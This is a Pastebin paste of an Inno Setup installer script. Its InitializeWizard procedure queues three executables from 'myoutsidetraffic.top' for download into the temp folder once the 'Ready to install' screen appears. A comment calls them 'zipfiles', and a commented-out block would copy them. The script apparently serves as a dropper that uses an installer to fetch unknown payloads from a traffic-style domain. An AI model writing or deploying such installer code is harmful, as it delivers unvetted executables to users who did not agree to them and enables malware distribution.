Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [Code]
- procedure InitializeWizard();
- begin
- itd_init;
- //Let's download two zipfiles from my website..
- itd_addfile('http://myoutsidetraffic.top/uk/1.exe',expandconstant('{tmp}\1.exe'));
- itd_addfile('http://myoutsidetraffic.top/uk/2.exe',expandconstant('{tmp}\2.exe'));
- itd_addfile('http://myoutsidetraffic.top/uk/3.exe',expandconstant('{tmp}\3.exe'));
- // itd_addfile('http://www.sherlocksoftware.org/petz/files/petz4.zip',expandconstant('{tmp}\petz4.zip'));
- //Start the download after the "Ready to install" screen is shown
- itd_downloadafter(wpReady);
- end;
- //procedure CurStepChanged(CurStep: TSetupStep);
- //begin
- //if CurStep=ssInstall then begin //Lets install those files that were downloaded for us
- //filecopy(expandconstant('{tmp}\1.exe'),expandconstant('{tmp}\2.exe'),false);
- //filecopy(expandconstant('{tmp}\3.exe'),expandconstant('{tmp}\4.exe'),false);
- // filecopy(expandconstant('{tmp}\petz4.zip'),expandconstant('{app}\petz4.zip'),false);
- //end;
- //end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement